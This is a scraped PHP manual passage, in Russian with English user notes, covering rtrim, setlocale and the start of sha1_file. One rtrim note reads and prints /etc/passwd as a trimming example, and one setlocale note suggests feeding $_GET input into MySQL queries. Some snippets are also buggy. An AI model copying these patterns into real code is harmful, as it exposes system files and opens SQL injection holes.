function rtrim_limit($str, $delim, $count = 0)
    {
        if ($count == 0) return rtrim($str, $delim);

        $l = strlen($delim);
        $k = 0;

        while (substr($str, -$l) == $delim && ($count == 0 || ($count > 0 && $k++ < $count))) {
            $str = substr($str, 0, strlen($str) - $l);
        }

        return $str;
    }
?>
Anonymous 05-Mar-2014 05:55
To ltrim or rtrim a dot it have to be escaped ltrim('.1252', '\.')
pinkgothic at gmail dot com 01-Jul-2013 09:10
On the recurring subject of string-stripping instead of character-stripping rtrim() implementations... the simplest (with a caveat) is probably the basename() function. It has a second parameter that functions as a right-trim using whole strings:

<?php

echo basename('MooFoo', 'Foo');

?>

...outputs 'Moo'.

Since it also strips anything that looks like a directory, it's not quite identical with hacking a string off the end:

<?php

echo basename('Zoo/MooFoo', 'Foo');

?>

...still outputs 'Moo'.

But sometimes it gets the job done.
pLIMP 20-Jul-2012 07:49
Function similar to rtrim only this will truncate the string at the 1st occurence of any character from $charlist

<?php

function rstrip($string, $charlist = "\t ") {
    // removes everything from first occurence of char in charlist to end of string

    $charlist = str_split($charlist);
    $pos = strlen($string);

    foreach ($charlist as $char) {
        $pos = min(strpos($string, $char), $pos);
    }

    $string_stripped = substr($string, 0, $pos);

    return $string_stripped;
}

?>
krzysiek dot 333 at gmail dot com 01-May-2012 09:58
function read_more($in,$len=160){
    if(strlen($in)>$len){
        return preg_replace('/[\s\.,][^\s\.,]*$/u', '', substr($in, 0, $len)).'...';
    }else{
        return $in;
    }
}

echo read_mode("Lorem ipsum dolor sit amet, consectetur adipisicing elit. Proin nibh augue, suscipit a, scelerisque sed, lacinia in, mi. Cras vel lorem. Etiam pellentesque aliquet tellus. Phasellus pharetra nulla ac diam. Quisque semper justo at risus. Donec venenatis, turpis vel hendrerit interdum, dui ligula ultricies purus, sed posuere libero dui id orci.");
/* Output:
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Proin nibh augue, suscipit a, scelerisque sed, lacinia in, mi. Cras vel lorem. Etiam pellentesque...*/
NBS Studio 22-Feb-2010 05:02
The simplest way to strip a newline form a text file is ltrim();

trim or explode or split ("\n" or "\r\n") doesn't work in all cases, so give ltrim(); a try instead.
info at nbs-studio dot com 22-Feb-2010 05:02
The simplest way to strip a newline form a text file is ltrim();

trim or explode or split ("\n" or "\r\n") doesn't work in all cases, so give ltrim(); a try instead.
pinkgothic at gmail dot com 22-Jan-2010 05:36
I have an obsessive love for php's array functions given how extremely easy they've made complex string handling for me in various situations... so, have another string-rtrim() variant:

<?php

function strrtrim($message, $strip) {
    // break message apart by strip string
    $lines = explode($strip, $message);
    $last  = '';
    // pop off empty strings at the end
    do {
        $last = array_pop($lines);
    } while (empty($last) && (count($lines)));
    // re-assemble what remains
    return implode($strip, array_merge($lines, array($last)));
}

?>

Astonishingly, something I didn't expect, but: It completely compares to harmor's rstrtrim below, execution time wise. o_o Whee!
harmor 04-Apr-2008 03:05
I'm sure there's a better way to strip strings from the end of strings.

<?php
/**
 * Strip a string from the end of a string
 *
 * @param string $str      the input string
 * @param string $remove   OPTIONAL string to remove
 *
 * @return string the modified string
  */
function rstrtrim($str, $remove=null)
{
    $str    = (string)$str;
    $remove = (string)$remove;

    if(empty($remove))
    {
        return rtrim($str);
    }

    $len = strlen($remove);
    $offset = strlen($str)-$len;
    while($offset > 0 && $offset == strpos($str, $remove, $offset))
    {
        $str = substr($str, 0, $offset);
        $offset = strlen($str)-$len;
    }

    return rtrim($str);

} //End of function rstrtrim($str, $remove=null)

echo rstrtrim('Hello World!!!', '!')   .'<br />'; //"Hello World"
echo rstrtrim('Hello World!!!', '!!')  .'<br />'; //"Hello World!"
echo rstrtrim('Hello World!!!', '!!!') .'<br />'; //"Hello World"
echo rstrtrim('Hello World!!!', '!!!!').'<br />'; //"Hello World!!!"
?>
YAS 08-May-2006 06:01
To remove an unwanted character - example "." - if exist or not.

The example above doesn't include the case where there is no "."
If there is not "." at the example above the last word will be deleted.

Have fun with this code.

<?php
$text = "This string contains. some unwanted characters on the end .";
$text = trim($text);
$last = $text{strlen($text)-1};
if (!strcmp($last,"."))
{
  $text = rtrim($text, 'a..z');
  $text = rtrim($text, '.');
}
?>
gbelanger at exosecurity dot com 17-Feb-2006 02:31
True, the Perl chomp() will only trim newline characters. There is, however, the Perl chop() function which is pretty much identical to the PHP rtrim()

---

Here's a quick way to recursively trim every element of an array, useful after the file() function :

<?php
# Reads /etc/passwd file an trims newlines on each entry
$aFileContent = file("/etc/passwd");
foreach ($aFileContent as $sKey => $sValue) {
    $aFileContent[$sKey] = rtrim($sValue);
}

print_r($aFileContent);
?>
Unimagined at UnaimaginedDesigns dot Com 16-Jan-2005 12:49
I needed a way to trim all white space and then a few chosen strings from the end of a string.  So I wrote this class to reuse when stuff needs to be trimmed.

<?php

class cleaner {

function cleaner ($cuts,$pinfo) {
$ucut = "0";
$lcut = "0";
while ($cuts[$ucut]) {
$lcut++;
$ucut++;
}
$lcut = $lcut - 1;
$ucut = "0";
$rcut = "0";
$wiy = "start";

while ($wiy) {

if ($so) {
$ucut = "0";
$rcut = "0";
unset($so);
}

if (!$cuts[$ucut]) {
$so = "restart";
} else {
$pinfo = rtrim($pinfo);
$bpinfol = strlen($pinfo);
$tcut = $cuts[$ucut];
$pinfo = rtrim($pinfo,"$tcut");
$pinfol = strlen($pinfo);

    if ($bpinfol == $pinfol) {
    $rcut++;
    if ($rcut == $lcut) {
    unset($wiy);
    }
    $ucut++;
    } else {
    $so = "restart";
    }
}
}

$this->cleaner = $pinfo;
}

}

$pinfo = "Well... I'm really bored...<br /><br>&nbsp;    \n\t&nbsp;<br><br /><br>&nbsp;    \r\r&nbsp;<br>\r<br /><br>\r&nbsp;    &nbsp;\n<br>      <br />\t";

$cuts = array('\n','\r','\t',' ',' ','&nbsp;','<br />','<br>','<br/>');

$pinfo = new cleaner($cuts,$pinfo);
$pinfo = $pinfo->cleaner;

print $pinfo;

?>

That class will take any string that you put in the $cust array and remove it from the end of the $pinfo string.  It's useful for cleaning up comments, articles, or mail that users post to your site, making it so there's no extra blank space or blank lines.
todd at magnifisites dot com 19-Aug-2003 06:19
This shows how rtrim works when using the optional charlist parameter:
rtrim reads a character, one at a time, from the optional charlist parameter and compares it to the end of the str string. If the characters match, it trims it off and starts over again, looking at the "new" last character in the str string and compares it to the first character in the charlist again. If the characters do not match, it moves to the next character in the charlist parameter comparing once again. It continues until the charlist parameter has been completely processed, one at a time, and the str string no longer contains any matches. The newly "rtrimmed" string is returned.
<?php
  // Example 1:
  rtrim('This is a short short sentence', 'short sentence');
  // returns 'This is a'
  // If you were expecting the result to be 'This is a short ',
  // then you're wrong; the exact string, 'short sentence',
  // isn't matched.  Remember, character-by-character comparison!
  // Example 2:
  rtrim('This is a short short sentence', 'cents');
  // returns 'This is a short short '
?>
HW 05-Jun-2003 06:32
<?php
$text = "This string contains some unwanted characters on the end.";
$text1 = rtrim($text, 'a..z');
$text1 = rtrim($text1, '.');
echo $text1; // only the '.' is trimmed.
$text2 = rtrim($text, 'a..z.');
echo $text2; // The whole last word is trimmed.
?>


Устанавливает региональные настройки

  • « rtrim
  • sha1_file »
  • PHP Manual
  • Функции для работы со строками
  • Устанавливает региональные настройки

setlocale

(PHP 4, PHP 5, PHP 7, PHP 8)

setlocale — Устанавливает региональные настройки

Описание

setlocale(int $category, string $locales, string ...$rest): string|false

Альтернативная сигнатура (не поддерживается с именованными аргументами):

setlocale(int $category, array $locale_array): string|false

Функция устанавливает региональные параметры, или локаль.

Внимание

Информация о локали сохраняется для процесса, а не отдельно для каждого потока процесса. Программисты сталкиваются с внезапными изменениями настроек локали во время работы скрипта, если PHP работает с API многопоточного сервера, даже когда сам скрипт не вызывал функцию setlocale(). Это делают другие скрипты, которые работают в отдельных потоках одного процесса и одновременно функцией setlocale() изменяют региональные параметры целого процесса. Информация о региональных настройках в ОС Windows поддерживается для каждого потока с PHP 7.0.5.

Список параметров

category

Параметр category — именованная константа, которая определяет категорию функций, на которые будет влиять установка локали:

  • LC_ALL — всё нижеперечисленное
  • LC_COLLATE — сравнение строк, смотрите описание функции strcoll()
  • LC_CTYPE — классификация и преобразование символов, например, функция ctype_alpha()
  • LC_MONETARY — функция localeconv()
  • LC_NUMERIC — десятичный разделитель, смотрите описание функции localeconv()
  • LC_TIME — форматирование даты или времени функцией strftime()
  • LC_MESSAGES — системные сообщения; доступна, если PHP скомпилировали с поддержкой модуля libintl

locales

Функция возьмёт имена локалей из одноимённых переменных окружения или переменной с именем «LANG», если в параметр locales передали пустую строку "" или null.

Функция не изменит локаль, а вернёт текущее значение, если в параметр locales передали "0".

Функция будет перебирать элементы массива или аргументы по порядку как имена локали до тех пор, пока не установит локаль успешно, если в параметр locales передали массив или после этого аргумента следуют дополнительные аргументы. Этим пользуются, когда в разных системах имена одной и той же локали не совпадают, или когда требуется создать запасной вариант на случай отсутствия локали в системе.

rest

Необязательные аргументы в виде строк или массивов для установки настроек локали до первой успешной попытки.

locale_array

Каждый элемент массива совершает попытки установить новую локаль до первой успешной попытки. Это полезно, если в разных системах локаль известна под разными именами, или на случай запасного варианта при недоступности региональных настроек.

Замечание:

На ОС Windows вызов setlocale(LC_ALL, '') устанавливает имена локалей из системных региональных или языковых настроек, которые доступны в «Панели управления».

Возвращаемые значения

Функция возвращает имя вновь установленной локали или false, если система не поддерживает установку заданной локали, локаль не существует или передали недопустимое имя категории.

Недопустимое имя категории также вызывает предупреждение. Имена локалей и категорий описывают стандарты » RFC 1766 и » ISO 639. В разных системах схемы именования локалей разные.

Замечание:

Значение, которое возвращает функция setlocale(), зависит от системы, на которой запустили PHP. Функция возвращает то же значение, которое возвращает системная функция setlocale.

Примеры

Пример #1 Примеры использования функции setlocale()

<?php

/* Установка голландской локали */
setlocale(LC_ALL, 'nl_NL');

/* Выводит: vrijdag 22 december 1978 */
echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* Попытка установить разные локали для немецкого языка */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'de', 'ge');
echo "Предпочтительная локаль для немецкого языка в этой системе: '$loc_de'";

?>

Пример #2 Примеры использования функции setlocale() в ОС Windows

<?php

/* Установка голландской локали */
setlocale(LC_ALL, 'nld_nld');

/* Выводит: vrijdag 22 december 1978 */
echo strftime("%A %d %B %Y", mktime(0, 0, 0, 12, 22, 1978));

/* Попытка установить разные локали для немецкого языка */
$loc_de = setlocale(LC_ALL, 'de_DE@euro', 'de_DE', 'deu_deu');
echo "Предпочтительная локаль для немецкого языка в этой системе: '$loc_de'";

?>

Примечания

Подсказка

Полезную информацию о значениях параметра locales пользователям платформ Windows даёт раздел MSDN на сайте Microsoft. Языки, которые поддерживает ОС, перечисляет » документация по языковым строкам, а значения стран и регионов — » документация по строкам стран и регионов.

User Contributed Notes

info AT hipot-studio DOT com 06-Dec-2023 05:57
In PHP 8.2 and later, PHP's internal case conversion functions are made locale-independent, which affects the following functions:

    strtolower
    strtoupper
    lcfirst
    ucfirst
    ucwords
    stristr
    stripos
    strripos
    str_ireplace

All of the functions above only perform case conversion and comparisons in the ASCII character range.
divinity76 at gmail dot com 17-Jun-2022 01:36
if someone is looking for a getlocale(),

<?php
if(!function_exists("getlocale")){
    function getlocale(int $category)/*:string|false*/{
        return setlocale($category, 0);
    }
}
?>
lingureanumanuel at yahoo dot com 05-Feb-2022 10:12
for windows

setlocale(LC_ALL, 'Greenlandic_Greenland.1252');
will return false

to make it work use
setlocale(LC_ALL, 'Kalaallisut_Greenland.1252');
epistomai at gmail dot com 10-Sep-2019 07:39
setlocale(LC_MONETARY, 'en_US') doesn't work anymore (at least in PHP Version 7.3.8).

I've used 'en_US.UTF-8' instead
tim dot peters at live dot com 01-May-2019 09:18
Maybe obvious, but I would expect that setlocale constantes (LC_*) would be bitwise, but they're not.

In example, doing this:

<?php
    setlocale(LC_TIME + LC_COLLATE, 'nl');

    echo setlocale(LC_ALL, 0);
?>
would cause the following result:

LC_CTYPE=C;LC_NUMERIC=C;LC_TIME=C;LC_COLLATE=C;LC_MONETARY=C;LC_MESSAGES=nl;LC_PAPER=C;
LC_NAME=C;LC_ADDRESS=C;LC_TELEPHONE=C;LC_MEASUREMENT=C;LC_IDENTIFICATION=C

Note that LC_MESSAGES has changed, instead of LC_TIME and LC_COLLATE. (Because LC_TIME + LC_COLLATE = LC_MESSAGES).

Instead you would need to specify them individually, if you don't wish to use LC_ALL:

<?php
    setlocale(LC_TIME, 'nl');
    setlocale(LC_COLLATE, 'nl');

    echo setlocale(LC_ALL, 0);
?> LC_CTYPE=C;LC_NUMERIC=C;LC_TIME=nl;LC_COLLATE=nl;LC_MONETARY=C;LC_MESSAGES=C;LC_PAPER=C;
LC_NAME=C;LC_ADDRESS=C;LC_TELEPHONE=C;LC_MEASUREMENT=C;LC_IDENTIFICATION=C
stepdate at gmail dot com 27-Jan-2018 05:03
If you have Locales installed and things won't work check the spelling: for German all the comments suggested "setlocale(LC_TIME, "de_DE.utf8")", but it has to be "setlocale(LC_TIME, "de_DE.UTF-8")"-> UTF-8 instead of utf8.
internationalist 25-Oct-2015 02:14
My script runs a loop that changes the locale (multilingual application). I've noticed that on some random occasion the locale still hasn't changed despite the setlocale() function being executed a step earlier. I had to add wait time for this condition. Interestingly enough, this was the case only with the 'nl_NL.UTF8' locale.

<?php
//some code
$this->counter = 0;
// some code
$this->locale = 'nl_NL.UTF8';
setlocale(LC_ALL, $this->locale);
    $this->counter++;
    if ($this->locale !== setlocale(LC_CTYPE, 0)) { // Locale not changed yet.
      if ($this->counter > 10) {
        return;
      }
      sleep(1);
    }
// some code
?>
Shashakhmetov Talgat 29-Sep-2015 04:41
//Fix encoding for russian locale on windows
$locale = setlocale(LC_ALL, 'ru_RU.CP1251', 'rus_RUS.CP1251', 'Russian_Russia.1251');

function strftime_fix($format, $locale, $timestamp = time()){
    // Fix %e for windows
    if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
        $format = preg_replace('#(?<!%)((?:%%)*)%e#', '\1%#d', $format);
    }
    // convert
    $date_str = strftime($format, $timestamp);
    if (stripos($locale, "1251") !== false) {
      return iconv("windows-1251","utf-8", $date_str);
    } elseif (stripos($locale, "1252") !== false) {
      return iconv("windows-1252","utf-8", $date_str);
    } else {
      return $date_str;
    }
}
jose dot nobile at gmail dot com 25-Jun-2015 01:05
For Windows users complaining about setlocale.

The locale argument to the setlocale function takes the following form:
setlocale( LC_ALL, "<language>_<country>.<code_page>" );

in short, if you  want use for example: es_CO.UTF-8 it must be in Windows: Spanish_Colombia.1252

The code page 1252 is ISO-8859-1 (windows-1252    ANSI Latin 1; Western European (Windows)

Windows use different languages code from Unix, for example, es_CO becomes es-CO or Spanish_Colombia, also it doesn't support UTF-8 charset as is shown in their website: https://msdn.microsoft.com/en-us/library/x99tb11d(v=vs.140).aspx

"The set of available locale names, languages, country/region codes, and code pages includes all those supported by the Windows NLS API except code pages that require more than two bytes per character, such as UTF-7 and UTF-8. If you provide a code page value of UTF-7 or UTF-8, setlocale will fail, returning NULL."

Please check the updated website of language and code pages:

https://msdn.microsoft.com/en-us/library/39cwe7zf(v=vs.140).aspx
and
https://msdn.microsoft.com/en-us//goglobal/bb895996

Here a copy paste in case the link is removed:

Afrikaans
Albanian
Arabic_Saudi_Arabia
Arabic_Iraq
Arabic_Egypt
Arabic_Libya
Arabic_Algeria
Arabic_Morocco
Arabic_Tunisia
Arabic_Oman
Arabic_Yemen
Arabic_Syria
Arabic_Jordan
Arabic_Lebanon
Arabic_Kuwait
Arabic_UAE
Arabic_Bahrain
Arabic_Qatar
Armenian
Azeri_Latin
Azeri_Cyrillic
Basque
Belarusian
Bengali_India
Bosnian_Latin
Bulgarian
Catalan
Chinese_Taiwan
Chinese_PRC
Chinese_Hong_Kong
Chinese_Singapore
Chinese_Macau
Croatian
Croatian_Bosnia_Herzegovina
Czech
Danish
Divehi
Dutch_Standard
Dutch_Belgian
English_United_States
English_United_Kingdom
English_Australian
English_Canadian
English_New_Zealand
English_Ireland
English_South_Africa
English_Jamaica
English_Caribbean
English_Belize
English_Trinidad
English_Zimbabwe
English_Philippines
Estonian
Faeroese
Farsi
Finnish
French_Standard
French_Belgian
French_Canadian
French_Swiss
French_Luxembourg
French_Monaco
Georgian
Galician
German_Standard
German_Swiss
German_Austrian
German_Luxembourg
German_Liechtenstein
Greek
Gujarati
Hebrew
Hindi
Hungarian
Icelandic
Indonesian
Italian_Standard
Italian_Swiss
Japanese
Kannada
Kazakh
Konkani
Korean
Kyrgyz
Latvian
Lithuanian
Macedonian
Malay_Malaysia
Malay_Brunei_Darussalam
Malayalam
Maltese
Maori
Marathi
Mongolian
Norwegian_Bokmal
Norwegian_Nynorsk
Polish
Portuguese_Brazilian
Portuguese_Standard
Punjabi
Quechua_Bolivia
Quechua_Ecuador
Quechua_Peru
Romanian
Russian
Sami_Inari
Sami_Lule_Norway
Sami_Lule_Sweden
Sami_Northern_Finland
Sami_Northern_Norway
Sami_Northern_Sweden
Sami_Skolt
Sami_Southern_Norway
Sami_Southern_Sweden
Sanskrit
Serbian_Latin
Serbian_Latin_Bosnia_Herzegovina
Serbian_Cyrillic
Serbian_Cyrillic_Bosnia_Herzegovina
Slovak
Slovenian
Spanish_Traditional_Sort
Spanish_Mexican
Spanish_Modern_Sort
Spanish_Guatemala
Spanish_Costa_Rica
Spanish_Panama
Spanish_Dominican_Republic
Spanish_Venezuela
Spanish_Colombia
Spanish_Peru
Spanish_Argentina
Spanish_Ecuador
Spanish_Chile
Spanish_Uruguay
Spanish_Paraguay
Spanish_Bolivia
Spanish_El_Salvador
Spanish_Honduras
Spanish_Nicaragua
Spanish_Puerto_Rico
Swahili
Swedish
Swedish_Finland
Syriac
Tamil
Tatar
Telugu
Thai
Tswana
Ukrainian
Turkish
Ukrainian
Urdu
Uzbek_Latin
Uzbek_Cyrillic
Vietnamese
Welsh
Xhosa
Zulu

The code pages identifiers:

https://msdn.microsoft.com/en-us/library/windows/desktop/dd317756(v=vs.85).aspx
aaaaa976 at gmail dot com 02-Mar-2015 08:36
In Windows some times setlocale don't work, it return a empty array, buts the locale is set. I found that apache start before windows "load" locales, you must restart apache to solve this.
RobQuist 28-Nov-2013 02:51
In addition to russ, about getting / backing up the locale:
I'm using this in unit-tests. I wanted to test something based on locale, and reset the locale after the tests were done.

Yet there were some errors;
* setlocale doesn't like strings anymore. You need to use constants.
* Some contants don't exist anymore.

Here's an updated piece of code:

<?php
$originalLocales = explode(";", setlocale(LC_ALL, 0));
setlocale(LC_ALL, 'nl_NL.UTF-8');

//Do something here

//Recover to the default setting
        $skipConstants = array( //these will be returned by setlocale(LC_ALL, 0), but don't exist anymore.
            'LC_PAPER',
            'LC_NAME',
            'LC_ADDRESS',
            'LC_TELEPHONE',
            'LC_MEASUREMENT',
            'LC_IDENTIFICATION'
        );

        foreach ($originalLocales as $localeSetting) {
            if (strpos($localeSetting, "=") !== false) {
                list ($category, $locale) = explode("=", $localeSetting);
            } else {
                $category = LC_ALL;
                $locale   = $localeSetting;
            }

            if (!in_array($category, $skipConstants)) {
                setlocale(constant($category), $locale); //Using strings is deprecated.
            }
        }
?>
data dot ocean dot italia at gmail dot com 20-Jan-2013 07:42
Instead, using php with IIS, I had to use this line for Italian language...

<?php setlocale(LC_ALL, 'Italian_Italy.1250'); ?>
russ at eatmymonkeydust dot com 08-Dec-2011 03:45
If you are looking for a getlocale() function simply pass 0 (zero) as the second parameter to setlocale().

Beware though if you use the category LC_ALL and some of the locales differ as a string containing all the locales is returned:

<?php
echo setlocale(LC_ALL, 0);

// LC_CTYPE=en_US.UTF-8;LC_NUMERIC=C;LC_TIME=C;LC_COLLATE=C;LC_MONETARY=C;LC_MESSAGES=C;LC_PAPER=C;LC_NAME=C;
// LC_ADDRESS=C;LC_TELEPHONE=C;LC_MEASUREMENT=C;LC_IDENTIFICATION=C

echo setlocale(LC_CTYPE, 0);

// en_US.UTF-8

setlocale(LC_ALL, "en_US.UTF-8");
echo setlocale(LC_ALL, 0);

// en_US.UTF-8

?>

If you are looking to store and reset the locales you could do something like this:

<?php

$originalLocales = explode(";", setlocale(LC_ALL, 0));
setlocale(LC_ALL, "nb_NO.utf8");

// Do something

foreach ($originalLocales as $localeSetting) {
  if (strpos($localeSetting, "=") !== false) {
    list ($category, $locale) = explode("=", $localeSetting);
  }
  else {
    $category = LC_ALL;
    $locale   = $localeSetting;
  }
  setlocale($category, $locale);
}

?>

The above works here (Ubuntu Linux) but as the setlocale() function is just wrapping the equivalent system calls, your mileage may vary on the result.
phcorp 26-Jul-2011 06:16
To find the locale of a Unix system:
<?php system('locale -a') ?>
flavioacvalverde at gmail dot com 15-Jun-2011 09:28
For Portugal I had to use

<?php setlocale(LC_ALL, 'Portuguese_Portugal.1252'); ?>

using php with IIS on Windows server.
tomas dot hampl at gmail dot com 23-Apr-2011 01:35
On Linux, setlocale() depends on the installed locales. To see which locales are available to PHP, run this from the terminal:

"locale -a"

Provided list are all locales that are available on your server for PHP to use. To add a new one, run

locale-gen <locale name> (this may need sudo / root permissions), for example to add a Czech locale, run something like this:

"sudo locale-gen cs_CZ.utf8"

Then you can use this locale declaration:

setlocale(LC_ALL, 'cs_CZ.utf8');
leif at neland dot dk 16-Aug-2010 04:38
Regarding dash'es in locale, it appears they should be omitted entirely.

In /etc/locale.gen I have

da_DK.ISO-8859-15 ISO-8859-15

but locale -a gives

da_DK.iso885915

which is the format setlocale()  wants.

(Debian)
garygendron at yahoo dot com 28-Jun-2010 08:04
For a php Mysql query, you could also use, for french canadian, in this example :

$query = 'SET lc_time_names = "fr_CA"';
$result = mysql_query($query) or die("Query failed");

$query = 'SELECT @@lc_time_names';
$result = mysql_query($query) or die("Query failed");

$query = 'SELECT id, created, YEAR(created) as year, MONTH(created) as month,' .
' CONCAT_WS(" ", MONTHNAME(created), YEAR(created)) as archive' .
' FROM #__TABLE as e' .
' GROUP BY archive' .
' ORDER BY id DESC';

Your data will be displayed in any locale setting you want. You may even $_GET[lc_time_name] from your multilanguage website.
Kari Sderholm aka Haprog 16-May-2009 04:28
It took me a while to figure out how to get a Finnish locale correctly set on Ubuntu Server with Apache2 and PHP5.

At first the output for "locale -a" was this:
C
en_US.utf8
POSIX

I had to install a finnish language pack with
"sudo apt-get install language-pack-fi-base"

Now the output for "locale -a" is:
C
en_US.utf8
fi_FI.utf8
POSIX

The last thing you need to do after installing the correct language pack is restart Apache with "sudo apache2ctl restart". The locale "fi_FI.utf8" can then be used in PHP5 after restarting Apache.

For setting Finnish timezone and locale in PHP use:
<?php
date_default_timezone_set('Europe/Helsinki');
setlocale(LC_ALL, array('fi_FI.UTF-8','fi_FI@euro','fi_FI','finnish'));
?>
brice/axice/be 20-Feb-2009 05:19
Pay attention to the syntax.
- UTF8 without dash ('-')
- locale.codeset and not locale-codeset.

Stupid newbie error but worth knowing them when starting with gettext.

<?php
$codeset = "UTF8";  // warning ! not UTF-8 with dash '-'

// for windows compatibility (e.g. xampp) : theses 3 lines are useless for linux systems

putenv('LANG='.$lang.'.'.$codeset);
putenv('LANGUAGE='.$lang.'.'.$codeset);
bind_textdomain_codeset('mydomain', $codeset);

// set locale
bindtextdomain('mydomain', ABSPATH.'/locale/');
setlocale(LC_ALL, $lang.'.'.$codeset);
textdomain('mydomain');
?>

where directory structure of locale is (for example) :
locale/fr_FR/LC_MESSAGES/mydomain.mo
locale/en_US/LC_MESSAGES/mydomain.mo

and ABSPATH is the absolute path to the locale dir

further note, under linux systems, it seems to be necessary to create the locale at os level using 'locale-gen'.
Un_passant 16-Nov-2008 03:56
For debian/ubuntu, don't forget the charset UFT8.

// Works on Ubuntu 8.04 Server
setlocale(LC_TIME, 'fr_FR.UTF8', 'fr.UTF8', 'fr_FR.UTF-8', 'fr.UTF-8');
Leigh Morresi 01-Oct-2008 11:27
Setting locale that is not supported by your system will result in some string operations returning a question mark "?" in your strings where it needs to perform transliteration.

1) Always check the return of setlocale() to ensure it has set to something supported

2) on Linux you can use the "locale -a" command to find a list of supported locales
michal dot kocarek at brainbox dot cz 27-Jul-2008 08:33
Note about using UTF-8 locale charset on Windows systems:

According to MSDN, Windows setlocale()'s implementation does not support UTF-8 encoding.

Citation from "MSDN setlocale, _wsetlocale" page (http://msdn.microsoft.com/en-us/library/x99tb11d.aspx):
The set of available languages, country/region codes, and code pages includes all those supported by the Win32 NLS API except code pages that require more than two bytes per character, such as UTF-7 and UTF-8. If you provide a code page like UTF-7 or UTF-8, setlocale will fail, returning NULL.

So basically, code like
<?php setlocale(LC_ALL, 'Czech_Czech Republic.65001'); // 65001 is UTF-8 codepage ?>
does not work on Windows at all.

(written in time of PHP 5.2.4)
bryn AT lunarvis DOT com 21-Jan-2008 05:04
Posting this in the hope it might be useful to others, as I could find very little info anywhere. If you want to use a Welsh locale and have the suitable language support installed, you pass 'cym' (abbreviated form of Cymraeg) to setlocale:

<?php
setlocale(LC_TIME, 'cym');
$welsh= gmstrftime("%A, %B %Y - %H:%M",time());
echo $welsh;
?>

The above certainly applies to Windows systems, but should also apply to Unix if the required support is installed.

Cheers,

Bryn.
ostapk 27-Dec-2007 02:39
There is a new PECL extension under development called intl (it will be available in PHP5.3). Meanwhile all who rely on the setlocale() and friends should be aware about the limitations of them as covered in this post on the onPHP5.com blog: http://www.onphp5.com/article/22
Periklis 13-Sep-2007 02:33
In *some* Windows systems, setting LC_TIME only will not work, you must either set LC_ALL or both LC_CTYPE and LC_TIME. BUT if you have already set LC_TIME using setlocale earlier in the script, dates will not be affected! For example:
<?php
setlocale(LC_TIME, 'greek');
setlocale(LC_CTYPE, 'greek');
?>
will not work, while
<?php
setlocale(LC_CTYPE, 'greek');
setlocale(LC_TIME, 'greek');
?>
will do the job.
mvanbaak 09-May-2007 05:03
To complement Sven K's tip about debian:

You can also install the package locales-all
That one holds all the locales there are in compiled form.
szepeshazi at gmail dot com 18-Feb-2007 07:11
For those of you who are unfortunate enough (like me) to work in Windows environment, and try to set the locale to a language _and_ to UTF-8 charset, and were unable to do it, here is a workaround.

For example to output the date in hungarian with UTF-8 charset, this will work:

    $dateString = "%B %d., %A";
    setlocale(LC_ALL,'hungarian');
    $res=strftime($dateString);
    echo(iconv('ISO-8859-1', 'UTF-8', $res));

If anybody knows how to set the locale on Windows to the equivalent of "hu_HU.UTF-8" on unix, please do tell me.
Sven K 07-Jun-2006 03:08
If your system doesn't show any installed locales by "locale -a", try installing them by "dpkg-reconfigure locales" (on debian).
08-Mar-2006 12:17
The example from bruno dot cenou at revues dot org below shows the possibility, but I want to spell it out: you can add charset info to setlocale.

Example:

Into my utf-8-encoded page I want to insert the name of the current month, which happens to be March, in German "Marz" - with umlaut. If you use

   setlocale(LC_TIME, 'de_DE');
   echo strftime("%B");

this will return "M&auml;rz", but that html-entity will look like this on a utf-8 page: "M?rz". Not what I want.

But if you use

   setlocale(LC_TIME, 'de_DE.UTF8');  // note the charset info !
   echo strftime("%B");

this returns "Mv§rz", which, on utf-8, looks like it should: "Marz".
birkholz at web dot de 14-Aug-2005 08:42
When i tried to get the current locale (e.g. after i set the lang to german with setlocale(LC_ALL, 'de_DE'); ), the following did not work on my suse linux 9.0-box:
$currentLocale = setlocale(LC_ALL, NULL);
This code did a reset to the server-setting.

$currentLocale = setlocale(LC_ALL, 0); works perfectly for me, but the manual says NULL and 0 are equal in this case, but NULL seems to act like "".
pigmeu at pigmeu dot net 18-Oct-2004 01:42
!!WARNING!!

The "locale" always depend on the server configuration.

i.e.:
When trying to use "pt_BR" on some servers you will ALWAYS get false. Even with other languages.

The locale string need to be supported by the server. Sometimes there are diferents charsets for a language, like "pt_BR.utf-8" and "pt_BR.iso-8859-1", but there is no support for a _standard_ "pt_BR".

This problem occours in Windows platform too. Here you need to call "portuguese" or "spanish" or "german" or...

Maybe the only way to try to get success calling the function setlocale() is:
setlocale(LC_ALL, "pt_BR", "pt_BR.iso-8859-1", "pt_BR.utf-8", "portuguese", ...);

But NEVER trust on that when making functions like date conversions or number formating. The best way to make sure you are doing the right thing, is using the default "en_US" or "en_UK", by not calling the setlocale() function. Or, make sure that your server support the lang you want to use, with some tests.

Remember that: Using the default locale setings is the best way to "talk" with other applications, like dbs or rpc servers, too.

[]s

Pigmeu
mk at totu dot com 26-Jan-2004 04:59
Be carefull - setting a locale which uses commas instead of dots in numbers may cause a mysql db not to understand the query:
<?php
setlocale(LC_ALL,"pl");
$price = 1234 / 100; // now the price looks like 12,34
$query = mysql_query("SELECT Id FROM table WHERE price='".$price."'");
?>
Even if there is a price 12.34 - nothing will be found
r dot nospam dot velseboer at quicknet dot nospam dot nl 08-Sep-2002 07:02
be careful with the LC_ALL setting, as it may introduce some unwanted conversions. For example, I used

setlocale (LC_ALL, "Dutch");

to get my weekdays in dutch on the page. From that moment on (as I found out many hours later) my floating point values from MYSQL where interpreted as integers because the Dutch locale wants a comma (,) instead of a point (.) before the decimals. I tried printf, number_format, floatval.... all to no avail. 1.50 was always printed as 1.00 :(

When I set my locale to :

 setlocale (LC_TIME, "Dutch");

my weekdays are good now and my floating point values too.

I hope I can save some people the trouble of figuring this out by themselves.

Rob


Возвращает SHA1-хеш файла

  • « setlocale
  • sha1 »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает SHA1-хеш файла

sha1_file

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

sha1_file — Возвращает SHA1-хеш файла

Описание

sha1_file(string $filename, bool $binary = false): string|false

Вычисляет SHA1-хеш файла, имя которого задано аргументом filename, используя алгоритм » US Secure Hash Algorithm 1 и возвращает этот хеш. Хеш - 40-символьное шестнадцатеричное число.

Список параметров

filename

Имя хешируемого файла.

binary

Если установлен в true, возвращает 20-символьный хеш в бинарном формате.

Возвращаемые значения

